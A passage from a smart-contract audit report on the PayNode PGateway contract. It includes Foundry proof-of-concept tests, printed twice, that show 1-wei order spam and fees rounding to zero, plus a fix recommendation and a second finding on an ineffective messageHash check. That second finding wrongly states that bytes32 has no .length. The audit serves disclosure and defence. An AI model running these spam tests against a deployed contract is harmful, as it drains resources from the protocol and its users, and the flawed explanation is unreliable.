    IERC20(_token).safeTransferFrom(msg.sender, address(this), _amount);

    userNonce[msg.sender]++;
    orderId = keccak256(abi.encode(msg.sender, userNonce[msg.sender],
block.chainid));

    orders[orderId] = PGatewayStructs.Order({
        orderId: orderId,
        user: msg.sender,
        token: _token,
        amount: _amount,
        tier: tier,
        status: PGatewayStructs.OrderStatus.PENDING,
        refundAddress: _refundAddress,
        createdAt: block.timestamp,
        expiresAt: block.timestamp + settings.orderExpiryWindow(),
        acceptedProposalId: bytes32(0),
        fulfilledByProvider: address(0),
        integrator: _integrator,
        integratorFee: _integratorFee,
        _messageHash: bytes32(0)
    });

    emit OrderCreated(orderId, msg.sender, _token, _amount, tier,
orders[orderId].expiresAt, _messageHash);
    return orderId;
}
```

POC Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/Test.sol";
import "../src/gateway/PGateway.sol";
import "../src/gateway/PGatewaySettings.sol";
import "../src/gateway/PGatewayStructs.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MockToken is ERC20 {
    constructor() ERC20("Mock USDC", "USDC") {
        _mint(msg.sender, 100_000_000e6);
    }

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }

    function decimals() public pure override returns (uint8) {
        return 6;
    }
}

contract MockAccessManager {
    bytes32 public constant DEFAULT_ADMIN_ROLE =
keccak256("DEFAULT_ADMIN_ROLE");
    bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
    bytes32 public constant AGGREGATOR_ROLE =
keccak256("AGGREGATOR_ROLE");
    bytes32 public constant PROVIDER_ROLE = keccak256("PROVIDER_ROLE");

    mapping(bytes32 => mapping(address => bool)) public roles;
    mapping(address => bool) public isBlacklisted;

    constructor(address _admin) {
        roles[DEFAULT_ADMIN_ROLE][_admin] = true;
        roles[ADMIN_ROLE][_admin] = true;
    }

    function grantRole(bytes32 role, address account) external {
        roles[role][account] = true;
    }

    function hasRole(bytes32 role, address account) public view returns
(bool) {
        return roles[role][account];
    }

    function executeNonReentrant(address, bytes32) external pure returns
(bool) { return true; }
    function executeProviderNonReentrant(address) external pure returns
(bool) { return true; }
    function executeAggregatorNonReentrant(address) external pure returns
(bool) { return true; }
}

contract POC_M04_MinOrderAmountSpam is Test {
    PGateway public gateway;
    PGatewaySettings public settings;
    MockAccessManager public accessManager;
    MockToken public usdc;

    address public admin;
    address public treasury;
    address public aggregator;
    address public integrator;
    address public provider;
    address public attacker;

    uint64 constant PROTOCOL_FEE_BPS = 100;
    uint64 constant INTEGRATOR_FEE_BPS = 50;
    uint64 constant PROVIDER_FEE_BPS = 100;
    uint256 constant MAX_BPS = 100_000;

    function setUp() public {
        admin = makeAddr("admin");
        treasury = makeAddr("treasury");
        aggregator = makeAddr("aggregator");
        integrator = makeAddr("integrator");
        provider = makeAddr("provider");
        attacker = makeAddr("attacker");

        vm.startPrank(admin);

        accessManager = new MockAccessManager(admin);
        accessManager.grantRole(accessManager.AGGREGATOR_ROLE(),
aggregator);
        accessManager.grantRole(accessManager.PROVIDER_ROLE(), provider);

        PGatewaySettings settingsImpl = new PGatewaySettings();
        bytes memory settingsInitData = abi.encodeWithSelector(
            PGatewaySettings.initialize.selector,
            PGatewayStructs.InitiateGatewaySettingsParams({
                initialOwner: admin,
                treasury: treasury,
                aggregator: aggregator,
                protocolFee: PROTOCOL_FEE_BPS,
                alphaLimit: 3000e6,
                betaLimit: 5000e6,
                deltaLimit: 7000e6,
                integrator: integrator,
                integratorFee: INTEGRATOR_FEE_BPS,
                omegaLimit: 10000e6,
                titanLimit: 50000e6,
                orderExpiryWindow: 1 hours,
                proposalTimeout: 30 minutes,
                intentExpiry: 10 minutes
            })
        );
        ERC1967Proxy settingsProxy = new
ERC1967Proxy(address(settingsImpl), settingsInitData);
        settings = PGatewaySettings(address(settingsProxy));

        PGateway gatewayImpl = new PGateway();
        bytes memory gatewayInitData = abi.encodeWithSelector(
            PGateway.initialize.selector,
            address(accessManager),
            address(settings)
        );
        ERC1967Proxy gatewayProxy = new ERC1967Proxy(address(gatewayImpl),
gatewayInitData);
        gateway = PGateway(address(gatewayProxy));

        usdc = new MockToken();
        settings.setSupportedToken(address(usdc), true);
        vm.stopPrank();

        usdc.mint(attacker, 10_000e6);

        vm.prank(integrator);
        gateway.registerAsIntegrator(INTEGRATOR_FEE_BPS,
"TestIntegrator");

        vm.prank(provider);
        gateway.registerIntent("USD", 10_000_000e6, 50, 500, 1 hours);
    }

    function test_POC_OneWeiOrderAccepted() public {
        uint256 orderAmount = 1;

        vm.startPrank(attacker);
        usdc.approve(address(gateway), orderAmount);
        bytes32 orderId = gateway.createOrder(
            address(usdc),
            orderAmount,
            attacker,
            integrator,
            INTEGRATOR_FEE_BPS,
            keccak256("tiny_order_1")
        );
        vm.stopPrank();

        PGatewayStructs.Order memory order = gateway.getOrder(orderId);
        assertEq(order.amount, 1, "Order with 1 wei should be accepted");
        assertEq(uint256(order.status),
uint256(PGatewayStructs.OrderStatus.PENDING));
    }

    function test_POC_FeesRoundToZeroOnTinyOrders() public {
        uint256 orderAmount = 1;

        uint256 protocolFee = (orderAmount * PROTOCOL_FEE_BPS) / MAX_BPS;
        uint256 integratorFee = (orderAmount * INTEGRATOR_FEE_BPS) /
MAX_BPS;
        uint256 providerFee = (orderAmount * PROVIDER_FEE_BPS) / MAX_BPS;

        assertEq(protocolFee, 0, "Protocol fee on 1 wei should be 0");
        assertEq(integratorFee, 0, "Integrator fee on 1 wei should be 0");
        assertEq(providerFee, 0, "Provider fee on 1 wei should be 0");

        uint256 treasuryBefore = usdc.balanceOf(treasury);
        uint256 integratorBefore = usdc.balanceOf(integrator);
        uint256 providerBefore = usdc.balanceOf(provider);
        vm.startPrank(attacker);
        usdc.approve(address(gateway), orderAmount);
        bytes32 orderId = gateway.createOrder(
            address(usdc),
            orderAmount,
            attacker,
            integrator,
            INTEGRATOR_FEE_BPS,
            keccak256("tiny_order_fee_test")
        );
        vm.stopPrank();

        vm.prank(aggregator);
        bytes32 proposalId = gateway.createProposal(orderId, provider,
PROVIDER_FEE_BPS);

        vm.prank(provider);
        gateway.acceptProposal(proposalId);

        vm.prank(aggregator);
        gateway.executeSettlement(proposalId);

        uint256 treasuryReceived = usdc.balanceOf(treasury) -
treasuryBefore;
        uint256 integratorReceived = usdc.balanceOf(integrator) -
integratorBefore;
        uint256 providerReceived = usdc.balanceOf(provider) -
providerBefore;

        assertEq(treasuryReceived, 0, "Treasury should receive 0 from 1
wei order");
        assertEq(integratorReceived, 0, "Integrator should receive 0 from
1 wei order");
        assertEq(providerReceived, 1, "Provider receives entire 1 wei,
protocol earns nothing");
    }

    function test_POC_MassSpamAttackStateBloat() public {
        uint256 spamOrderCount = 100;
        uint256 orderAmount = 1;

        vm.startPrank(attacker);
        usdc.approve(address(gateway), spamOrderCount * orderAmount);

        bytes32[] memory spamOrderIds = new bytes32[](spamOrderCount);

        for (uint256 i = 0; i < spamOrderCount; i++) {
            spamOrderIds[i] = gateway.createOrder(
                address(usdc),
                orderAmount,
                attacker,
                integrator,
                INTEGRATOR_FEE_BPS,
                keccak256(abi.encodePacked("spam_order_", i))
            );
        }
        vm.stopPrank();

        for (uint256 i = 0; i < spamOrderCount; i++) {
            PGatewayStructs.Order memory order =
gateway.getOrder(spamOrderIds[i]);
            assertEq(order.amount, 1);
            assertEq(uint256(order.status),
uint256(PGatewayStructs.OrderStatus.PENDING));
        }

        uint256 userNonce = gateway.getUserNonce(attacker);
        assertEq(userNonce, spamOrderCount, "All 100 spam orders created
successfully");
    }

    function test_POC_SmallOrdersFeeEvasion() public pure {
        uint256[] memory orderAmounts = new uint256[](5);
        orderAmounts[0] = 1;
        orderAmounts[1] = 10;
        orderAmounts[2] = 100;
        orderAmounts[3] = 500;
        orderAmounts[4] = 999;

        uint256 totalTreasuryRevenue = 0;
        uint256 totalVolume = 0;

        for (uint256 i = 0; i < orderAmounts.length; i++) {
            uint256 amount = orderAmounts[i];
            totalVolume += amount;

            uint256 protocolFee = (amount * PROTOCOL_FEE_BPS) / MAX_BPS;
            totalTreasuryRevenue += protocolFee;
        }

        uint256 expectedTreasuryIfNoRounding = (totalVolume *
PROTOCOL_FEE_BPS) / MAX_BPS;

        assertEq(totalTreasuryRevenue, 0, "All sub-1000 orders result in 0
protocol fee");
        assertGt(expectedTreasuryIfNoRounding, 0, "Aggregated volume would
generate fees if batched");
        assertEq(expectedTreasuryIfNoRounding, 1, "Total 1610 wei would
generate 1 wei fee");
    }

    function test_POC_SpamAttackEconomics() public pure {
        uint256 attackerFunds = 1000e6;
        uint256 orderAmount = 1;
        uint256 maxSpamOrders = attackerFunds / orderAmount;

        uint256 feePerOrder = (orderAmount * PROTOCOL_FEE_BPS) / MAX_BPS;
        assertEq(feePerOrder, 0, "Each 1 wei order generates 0 fee");
        uint256 treasuryRevenue = feePerOrder * maxSpamOrders;
        assertEq(treasuryRevenue, 0, "Protocol earns $0 from 1 billion
spam orders");

        assertEq(maxSpamOrders, 1000e6, "1 billion spam orders possible
with 1000 USDC");

        uint256 singleLegitOrder = 1000e6;
        uint256 legitProtocolFee = (singleLegitOrder * PROTOCOL_FEE_BPS) /
MAX_BPS;
        assertEq(legitProtocolFee, 1e6, "Same funds as single order would
generate 1 USDC fee");
    }

    function test_POC_SettlementWithZeroFees() public {
        uint256 orderAmount = 500;

        uint256 treasuryBefore = usdc.balanceOf(treasury);

        vm.startPrank(attacker);
        usdc.approve(address(gateway), orderAmount);
        bytes32 orderId = gateway.createOrder(
            address(usdc),
            orderAmount,
            attacker,
            integrator,
            INTEGRATOR_FEE_BPS,
            keccak256("small_order_settlement")
        );
        vm.stopPrank();

        vm.prank(aggregator);
        bytes32 proposalId = gateway.createProposal(orderId, provider,
PROVIDER_FEE_BPS);

        vm.prank(provider);
        gateway.acceptProposal(proposalId);

        vm.prank(aggregator);
        gateway.executeSettlement(proposalId);

        uint256 treasuryAfter = usdc.balanceOf(treasury);

        uint256 expectedFee = (orderAmount * PROTOCOL_FEE_BPS) / MAX_BPS;
        assertEq(expectedFee, 0, "500 wei order generates 0 protocol
fee");
        assertEq(treasuryAfter - treasuryBefore, 0, "Treasury receives
nothing");
    }

    function test_POC_FeeThresholdCalculation() public pure {
        uint256 minAmountFor1Wei_ProtocolFee = (MAX_BPS /
PROTOCOL_FEE_BPS);
```

```
        uint256 minAmountFor1Wei_IntegratorFee = (MAX_BPS /
INTEGRATOR_FEE_BPS);

        assertEq(minAmountFor1Wei_ProtocolFee, 1000, "Need 1000 wei for 1
wei protocol fee");
        assertEq(minAmountFor1Wei_IntegratorFee, 2000, "Need 2000 wei for
1 wei integrator fee");

        uint256 testAmount = 999;
        uint256 fee = (testAmount * PROTOCOL_FEE_BPS) / MAX_BPS;
        assertEq(fee, 0, "999 wei generates 0 fee");

        testAmount = 1000;
        fee = (testAmount * PROTOCOL_FEE_BPS) / MAX_BPS;
        assertEq(fee, 1, "1000 wei generates 1 wei fee");
    }

    function test_POC_CumulativeProtocolLoss() public pure {
        uint256 ordersPerDay = 1000;
        uint256 avgOrderAmount = 500;
        uint256 daysInYear = 365;

        uint256 dailyVolume = ordersPerDay * avgOrderAmount;
        uint256 dailyFeeIfBatched = (dailyVolume * PROTOCOL_FEE_BPS) /
MAX_BPS;

        uint256 feePerOrder = (avgOrderAmount * PROTOCOL_FEE_BPS) /
MAX_BPS;
        uint256 actualDailyFee = feePerOrder * ordersPerDay;

        uint256 dailyLoss = dailyFeeIfBatched - actualDailyFee;
        uint256 yearlyLoss = dailyLoss * daysInYear;

        assertEq(feePerOrder, 0, "Each 500 wei order generates 0 fee");
        assertEq(actualDailyFee, 0, "All small orders generate 0 fees");
        assertEq(dailyFeeIfBatched, 500, "500k volume batched would
generate 500 wei fee");
        assertEq(yearlyLoss, 182500, "Yearly loss from rounding: 182500
wei");
    }

    function test_POC_CompareGasCostToOrderValue() public {
        uint256 orderAmount = 1;

        vm.startPrank(attacker);
        usdc.approve(address(gateway), orderAmount);

        uint256 gasStart = gasleft();
        gateway.createOrder(
            address(usdc),
            orderAmount,
            attacker,
            integrator,
            INTEGRATOR_FEE_BPS,
            keccak256("gas_test_order")
        );
        uint256 gasUsed = gasStart - gasleft();
        vm.stopPrank();

        assertGt(gasUsed, 100000, "Creating order uses significant gas");
        assertEq(orderAmount, 1, "Order value is 1 smallest unit (0.000001
USDC)");
    }

    function test_POC_SpamDifferentTiers() public {
        uint256[] memory amounts = new uint256[](4);
        amounts[0] = 1;
        amounts[1] = 100;
        amounts[2] = 500;
        amounts[3] = 999;

        vm.startPrank(attacker);
        usdc.approve(address(gateway), 10000);

        for (uint256 i = 0; i < amounts.length; i++) {
            bytes32 orderId = gateway.createOrder(
                address(usdc),
                amounts[i],
                attacker,
                integrator,
                INTEGRATOR_FEE_BPS,
                keccak256(abi.encodePacked("tier_test_", i))
            );

            PGatewayStructs.Order memory order =
gateway.getOrder(orderId);
            assertEq(uint256(order.tier),
uint256(PGatewayStructs.OrderTier.ALPHA));
        }
        vm.stopPrank();
    }
}
```

Proof of Concept

Save this POC in `test/POC_M04_MinOrderAmountSpam.t.sol`

Run the POC:

```
forge test --match-contract POC_M04_MinOrderAmountSpam -vvv
```

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/Test.sol";
import "../src/gateway/PGateway.sol";
import "../src/gateway/PGatewaySettings.sol";
import "../src/gateway/PGatewayStructs.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MockToken is ERC20 {
    constructor() ERC20("Mock USDC", "USDC") {
        _mint(msg.sender, 100_000_000e6);
    }

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }

    function decimals() public pure override returns (uint8) {
        return 6;
    }
}

contract MockAccessManager {
    bytes32 public constant DEFAULT_ADMIN_ROLE =
keccak256("DEFAULT_ADMIN_ROLE");
    bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
    bytes32 public constant AGGREGATOR_ROLE =
keccak256("AGGREGATOR_ROLE");
    bytes32 public constant PROVIDER_ROLE = keccak256("PROVIDER_ROLE");

    mapping(bytes32 => mapping(address => bool)) public roles;
    mapping(address => bool) public isBlacklisted;

    constructor(address _admin) {
        roles[DEFAULT_ADMIN_ROLE][_admin] = true;
        roles[ADMIN_ROLE][_admin] = true;
    }

    function grantRole(bytes32 role, address account) external {
        roles[role][account] = true;
    }

    function hasRole(bytes32 role, address account) public view returns
(bool) {
        return roles[role][account];
    }

    function executeNonReentrant(address, bytes32) external pure returns
(bool) { return true; }
    function executeProviderNonReentrant(address) external pure returns
(bool) { return true; }
```

```
    function executeAggregatorNonReentrant(address) external pure returns
(bool) { return true; }
}

contract POC_M04_MinOrderAmountSpam is Test {
    PGateway public gateway;
    PGatewaySettings public settings;
    MockAccessManager public accessManager;
    MockToken public usdc;

    address public admin;
    address public treasury;
    address public aggregator;
    address public integrator;
    address public provider;
    address public attacker;

    uint64 constant PROTOCOL_FEE_BPS = 100;
    uint64 constant INTEGRATOR_FEE_BPS = 50;
    uint64 constant PROVIDER_FEE_BPS = 100;
    uint256 constant MAX_BPS = 100_000;

    function setUp() public {
        admin = makeAddr("admin");
        treasury = makeAddr("treasury");
        aggregator = makeAddr("aggregator");
        integrator = makeAddr("integrator");
        provider = makeAddr("provider");
        attacker = makeAddr("attacker");

        vm.startPrank(admin);

        accessManager = new MockAccessManager(admin);
        accessManager.grantRole(accessManager.AGGREGATOR_ROLE(),
aggregator);
        accessManager.grantRole(accessManager.PROVIDER_ROLE(), provider);

        PGatewaySettings settingsImpl = new PGatewaySettings();
        bytes memory settingsInitData = abi.encodeWithSelector(
            PGatewaySettings.initialize.selector,
            PGatewayStructs.InitiateGatewaySettingsParams({
                initialOwner: admin,
                treasury: treasury,
                aggregator: aggregator,
                protocolFee: PROTOCOL_FEE_BPS,
                alphaLimit: 3000e6,
                betaLimit: 5000e6,
                deltaLimit: 7000e6,
                integrator: integrator,
                integratorFee: INTEGRATOR_FEE_BPS,
                omegaLimit: 10000e6,
                titanLimit: 50000e6,
                orderExpiryWindow: 1 hours,
                proposalTimeout: 30 minutes,
                intentExpiry: 10 minutes
            })
        );
        ERC1967Proxy settingsProxy = new
ERC1967Proxy(address(settingsImpl), settingsInitData);
        settings = PGatewaySettings(address(settingsProxy));

        PGateway gatewayImpl = new PGateway();
        bytes memory gatewayInitData = abi.encodeWithSelector(
            PGateway.initialize.selector,
            address(accessManager),
            address(settings)
        );
        ERC1967Proxy gatewayProxy = new ERC1967Proxy(address(gatewayImpl),
gatewayInitData);
        gateway = PGateway(address(gatewayProxy));

        usdc = new MockToken();
        settings.setSupportedToken(address(usdc), true);
        vm.stopPrank();

        usdc.mint(attacker, 10_000e6);

        vm.prank(integrator);
        gateway.registerAsIntegrator(INTEGRATOR_FEE_BPS,
"TestIntegrator");

        vm.prank(provider);
        gateway.registerIntent("USD", 10_000_000e6, 50, 500, 1 hours);
    }

    function test_POC_OneWeiOrderAccepted() public {
        uint256 orderAmount = 1;

        vm.startPrank(attacker);
        usdc.approve(address(gateway), orderAmount);
        bytes32 orderId = gateway.createOrder(
            address(usdc),
            orderAmount,
            attacker,
            integrator,
            INTEGRATOR_FEE_BPS,
            keccak256("tiny_order_1")
        );
        vm.stopPrank();

        PGatewayStructs.Order memory order = gateway.getOrder(orderId);
        assertEq(order.amount, 1, "Order with 1 wei should be accepted");
        assertEq(uint256(order.status),
uint256(PGatewayStructs.OrderStatus.PENDING));
    }

    function test_POC_FeesRoundToZeroOnTinyOrders() public {
        uint256 orderAmount = 1;
        uint256 protocolFee = (orderAmount * PROTOCOL_FEE_BPS) / MAX_BPS;
        uint256 integratorFee = (orderAmount * INTEGRATOR_FEE_BPS) /
MAX_BPS;
        uint256 providerFee = (orderAmount * PROVIDER_FEE_BPS) / MAX_BPS;

        assertEq(protocolFee, 0, "Protocol fee on 1 wei should be 0");
        assertEq(integratorFee, 0, "Integrator fee on 1 wei should be 0");
        assertEq(providerFee, 0, "Provider fee on 1 wei should be 0");

        uint256 treasuryBefore = usdc.balanceOf(treasury);
        uint256 integratorBefore = usdc.balanceOf(integrator);
        uint256 providerBefore = usdc.balanceOf(provider);

        vm.startPrank(attacker);
        usdc.approve(address(gateway), orderAmount);
        bytes32 orderId = gateway.createOrder(
            address(usdc),
            orderAmount,
            attacker,
            integrator,
            INTEGRATOR_FEE_BPS,
            keccak256("tiny_order_fee_test")
        );
        vm.stopPrank();

        vm.prank(aggregator);
        bytes32 proposalId = gateway.createProposal(orderId, provider,
PROVIDER_FEE_BPS);

        vm.prank(provider);
        gateway.acceptProposal(proposalId);

        vm.prank(aggregator);
        gateway.executeSettlement(proposalId);

        uint256 treasuryReceived = usdc.balanceOf(treasury) -
treasuryBefore;
        uint256 integratorReceived = usdc.balanceOf(integrator) -
integratorBefore;
        uint256 providerReceived = usdc.balanceOf(provider) -
providerBefore;

        assertEq(treasuryReceived, 0, "Treasury should receive 0 from 1
wei order");
        assertEq(integratorReceived, 0, "Integrator should receive 0 from
1 wei order");
        assertEq(providerReceived, 1, "Provider receives entire 1 wei,
protocol earns nothing");
    }

    function test_POC_MassSpamAttackStateBloat() public {
        uint256 spamOrderCount = 100;
        uint256 orderAmount = 1;
        vm.startPrank(attacker);
        usdc.approve(address(gateway), spamOrderCount * orderAmount);

        bytes32[] memory spamOrderIds = new bytes32[](spamOrderCount);

        for (uint256 i = 0; i < spamOrderCount; i++) {
            spamOrderIds[i] = gateway.createOrder(
                address(usdc),
                orderAmount,
                attacker,
                integrator,
                INTEGRATOR_FEE_BPS,
                keccak256(abi.encodePacked("spam_order_", i))
            );
        }
        vm.stopPrank();

        for (uint256 i = 0; i < spamOrderCount; i++) {
            PGatewayStructs.Order memory order =
gateway.getOrder(spamOrderIds[i]);
            assertEq(order.amount, 1);
            assertEq(uint256(order.status),
uint256(PGatewayStructs.OrderStatus.PENDING));
        }

        uint256 userNonce = gateway.getUserNonce(attacker);
        assertEq(userNonce, spamOrderCount, "All 100 spam orders created
successfully");
    }

    function test_POC_SmallOrdersFeeEvasion() public pure {
        uint256[] memory orderAmounts = new uint256[](5);
        orderAmounts[0] = 1;
        orderAmounts[1] = 10;
        orderAmounts[2] = 100;
        orderAmounts[3] = 500;
        orderAmounts[4] = 999;

        uint256 totalTreasuryRevenue = 0;
        uint256 totalVolume = 0;

        for (uint256 i = 0; i < orderAmounts.length; i++) {
            uint256 amount = orderAmounts[i];
            totalVolume += amount;

            uint256 protocolFee = (amount * PROTOCOL_FEE_BPS) / MAX_BPS;
            totalTreasuryRevenue += protocolFee;
        }

        uint256 expectedTreasuryIfNoRounding = (totalVolume *
PROTOCOL_FEE_BPS) / MAX_BPS;

        assertEq(totalTreasuryRevenue, 0, "All sub-1000 orders result in 0
protocol fee");
        assertGt(expectedTreasuryIfNoRounding, 0, "Aggregated volume would
generate fees if batched");
        assertEq(expectedTreasuryIfNoRounding, 1, "Total 1610 wei would
generate 1 wei fee");
    }

    function test_POC_SpamAttackEconomics() public pure {
        uint256 attackerFunds = 1000e6;
        uint256 orderAmount = 1;
        uint256 maxSpamOrders = attackerFunds / orderAmount;

        uint256 feePerOrder = (orderAmount * PROTOCOL_FEE_BPS) / MAX_BPS;
        assertEq(feePerOrder, 0, "Each 1 wei order generates 0 fee");

        uint256 treasuryRevenue = feePerOrder * maxSpamOrders;
        assertEq(treasuryRevenue, 0, "Protocol earns $0 from 1 billion
spam orders");

        assertEq(maxSpamOrders, 1000e6, "1 billion spam orders possible
with 1000 USDC");

        uint256 singleLegitOrder = 1000e6;
        uint256 legitProtocolFee = (singleLegitOrder * PROTOCOL_FEE_BPS) /
MAX_BPS;
        assertEq(legitProtocolFee, 1e6, "Same funds as single order would
generate 1 USDC fee");
    }

    function test_POC_SettlementWithZeroFees() public {
        uint256 orderAmount = 500;

        uint256 treasuryBefore = usdc.balanceOf(treasury);

        vm.startPrank(attacker);
        usdc.approve(address(gateway), orderAmount);
        bytes32 orderId = gateway.createOrder(
            address(usdc),
            orderAmount,
            attacker,
            integrator,
            INTEGRATOR_FEE_BPS,
            keccak256("small_order_settlement")
        );
        vm.stopPrank();

        vm.prank(aggregator);
        bytes32 proposalId = gateway.createProposal(orderId, provider,
PROVIDER_FEE_BPS);

        vm.prank(provider);
        gateway.acceptProposal(proposalId);

        vm.prank(aggregator);
        gateway.executeSettlement(proposalId);

        uint256 treasuryAfter = usdc.balanceOf(treasury);

        uint256 expectedFee = (orderAmount * PROTOCOL_FEE_BPS) / MAX_BPS;
        assertEq(expectedFee, 0, "500 wei order generates 0 protocol 
fee");
        assertEq(treasuryAfter - treasuryBefore, 0, "Treasury receives 
nothing");
    }

    function test_POC_FeeThresholdCalculation() public pure {
        uint256 minAmountFor1Wei_ProtocolFee = (MAX_BPS / 
PROTOCOL_FEE_BPS);
        uint256 minAmountFor1Wei_IntegratorFee = (MAX_BPS / 
INTEGRATOR_FEE_BPS);

        assertEq(minAmountFor1Wei_ProtocolFee, 1000, "Need 1000 wei for 1 
wei protocol fee");
        assertEq(minAmountFor1Wei_IntegratorFee, 2000, "Need 2000 wei for 
1 wei integrator fee");

        uint256 testAmount = 999;
        uint256 fee = (testAmount * PROTOCOL_FEE_BPS) / MAX_BPS;
        assertEq(fee, 0, "999 wei generates 0 fee");

        testAmount = 1000;
        fee = (testAmount * PROTOCOL_FEE_BPS) / MAX_BPS;
        assertEq(fee, 1, "1000 wei generates 1 wei fee");
    }

    function test_POC_CumulativeProtocolLoss() public pure {
        uint256 ordersPerDay = 1000;
        uint256 avgOrderAmount = 500;
        uint256 daysInYear = 365;

        uint256 dailyVolume = ordersPerDay * avgOrderAmount;
        uint256 dailyFeeIfBatched = (dailyVolume * PROTOCOL_FEE_BPS) / 
MAX_BPS;

        uint256 feePerOrder = (avgOrderAmount * PROTOCOL_FEE_BPS) / 
MAX_BPS;
        uint256 actualDailyFee = feePerOrder * ordersPerDay;

        uint256 dailyLoss = dailyFeeIfBatched - actualDailyFee;
        uint256 yearlyLoss = dailyLoss * daysInYear;

        assertEq(feePerOrder, 0, "Each 500 wei order generates 0 fee");
        assertEq(actualDailyFee, 0, "All small orders generate 0 fees");
        assertEq(dailyFeeIfBatched, 500, "500k volume batched would 
generate 500 wei fee");
        assertEq(yearlyLoss, 182500, "Yearly loss from rounding: 182500 
wei");
    }
    function test_POC_CompareGasCostToOrderValue() public {
        uint256 orderAmount = 1;

        vm.startPrank(attacker);
        usdc.approve(address(gateway), orderAmount);

        uint256 gasStart = gasleft();
        gateway.createOrder(
            address(usdc),
            orderAmount,
            attacker,
            integrator,
            INTEGRATOR_FEE_BPS,
            keccak256("gas_test_order")
        );
        uint256 gasUsed = gasStart - gasleft();
        vm.stopPrank();

        assertGt(gasUsed, 100000, "Creating order uses significant gas");
        assertEq(orderAmount, 1, "Order value is 1 smallest unit (0.000001
USDC)");
    }

    function test_POC_SpamDifferentTiers() public {
        uint256[] memory amounts = new uint256[](4);
        amounts[0] = 1;
        amounts[1] = 100;
        amounts[2] = 500;
        amounts[3] = 999;

        vm.startPrank(attacker);
        usdc.approve(address(gateway), 10000);

        for (uint256 i = 0; i < amounts.length; i++) {
            bytes32 orderId = gateway.createOrder(
                address(usdc),
                amounts[i],
                attacker,
                integrator,
                INTEGRATOR_FEE_BPS,
                keccak256(abi.encodePacked("tier_test_", i))
            );

            PGatewayStructs.Order memory order =
gateway.getOrder(orderId);
            assertEq(uint256(order.tier),
uint256(PGatewayStructs.OrderTier.ALPHA));
        }
        vm.stopPrank();
    }
}
```

Recommendation

Implement per-token minimum order amounts in `PGatewaySettings`:

```
// In PGatewaySettings.sol
mapping(address => uint256) public minOrderAmount;

function setMinOrderAmount(address _token, uint256 _minAmount) external
onlyOwner {
    if (_minAmount == 0) revert InvalidAmount();
    minOrderAmount[_token] = _minAmount;
    emit MinOrderAmountUpdated(_token, _minAmount);
}

function getMinOrderAmount(address _token) external view returns (uint256)
{
    return minOrderAmount[_token];
}
```

```diff
// In PGateway.sol createOrder()
function createOrder(
    address _token,
    uint256 _amount,
    address _refundAddress,
    address _integrator,
    uint64 _integratorFee,
    bytes32 _messageHash
) external whenNotPaused whenNotBlacklisted validToken(_token) returns
(bytes32 orderId) {
-   if (_amount == 0) revert InvalidAmount();
+   uint256 minAmount = settings.getMinOrderAmount(_token);
+   if (_amount < minAmount) revert OrderBelowMinimum();
    // ... rest of function
}
```

Recommended Minimum Amounts:

Token	Decimals	Minimum Amount	USD Value
USDC	6	10e6	$10
USDT	6	10e6	$10
DAI	18	10e18	$10
WETH	18	1e16	~$25

These minimums ensure:

- Order value exceeds typical gas costs
- Fees don't round to zero (10 USDC * 0.1% = 0.01 USDC)
- Spam becomes economically unfeasible
- All parties receive meaningful compensation

Info-2: Invalid bytes32 Length Check in createOrder Allows Zero Message Hash

Summary

The `createOrder` function in `PGateway.sol` contains an invalid validation check that attempts to access the `.length` property on a `bytes32` type. Since `bytes32` is a fixed-size value type that doesn't have a `.length` property, this check never reverts, allowing `bytes32(0)` to be used as a valid message hash.

Vulnerability Detail

In `PGateway.sol` at line 591, the following check is implemented:

```
if (bytes32(_messageHash).length == 0) revert InvalidMessageHash();
```

This code is fundamentally flawed because:

1. `bytes32` is a fixed-size value type (always 32 bytes)
2. Value types in Solidity do not have a `.length` property - only dynamic `bytes` has this property
3. In Solidity 0.8.x, this either fails to compile or always evaluates to false

The intended behavior was to reject orders where `_messageHash` is `bytes32(0)`, but this validation is completely bypassed.

The message hash is critical for:

- Replay Protection: Linking on-chain orders to unique off-chain order details (bank account info, recipient details)
- Order Identification: Enabling off-chain systems to correlate blockchain orders with user requests
- Dispute Resolution: Providing verifiable linkage between on-chain settlement and off-chain payment obligations

Impact

1. Broken Validation: The check intended to reject empty message hashes never triggers
2. Invalid Orders Created: Users can create orders with `bytes32(0)` as the message hash
3. Off-chain Linkage Broken: Orders without valid message hashes cannot be properly linked to off-chain payment details
4. Settlement Disputes: Providers may complete settlements without verifiable off-chain references, making dispute resolution impossible
5. Protocol Integrity: The semantic meaning of the replay protection system is compromised

Code Snippet

https://github.com/olujimiAdebakin/paynode-contract/blob/main/src/gateway/PGateway.sol#L591

```
function createOrder(
    address _token,
    uint256 _amount,
    address _refundAddress,
    address _integrator,
    uint64 _integratorFee,
    bytes32 _messageHash
) external whenNotPaused whenNotBlacklisted validToken(_token) returns
(bytes32 orderId) {
    if (_amount == 0) revert InvalidAmount();
    if (_refundAddress == address(0)) revert InvalidAddress();
    if (_integrator == address(0)) revert InvalidAddress();
    if (bytes32(_messageHash).length == 0) revert InvalidMessageHash(); //
@audit Invalid check - bytes32 has no .length
    if (!accessManager.executeNonReentrant(msg.sender, bytes32(0))) revert
Unauthorized();

    // SECURITY: Prevents replay attacks with messageHash
    bytes32 msgHash = keccak256(abi.encodePacked(_messageHash));
    if (usedMessageHashes[msgHash]) revert MessageHashAlreadyUsed();
    usedMessageHashes[msgHash] = true;
    // ... rest of function
}
```

Proof of Concept

Save this POC in `test/POC_H01_InvalidBytes32LengthCheck.t.sol`

Run the POC:

```
forge test --match-contract POC_H01 -vvv
```

POC Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";
import "../src/gateway/PGateway.sol";
import "../src/gateway/PGatewaySettings.sol";
import "../src/gateway/PGatewayStructs.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import "./mocks/MockERC20.sol";
import "./mocks/MockAccessManager.sol";
import "./utils/TestConstants.sol";

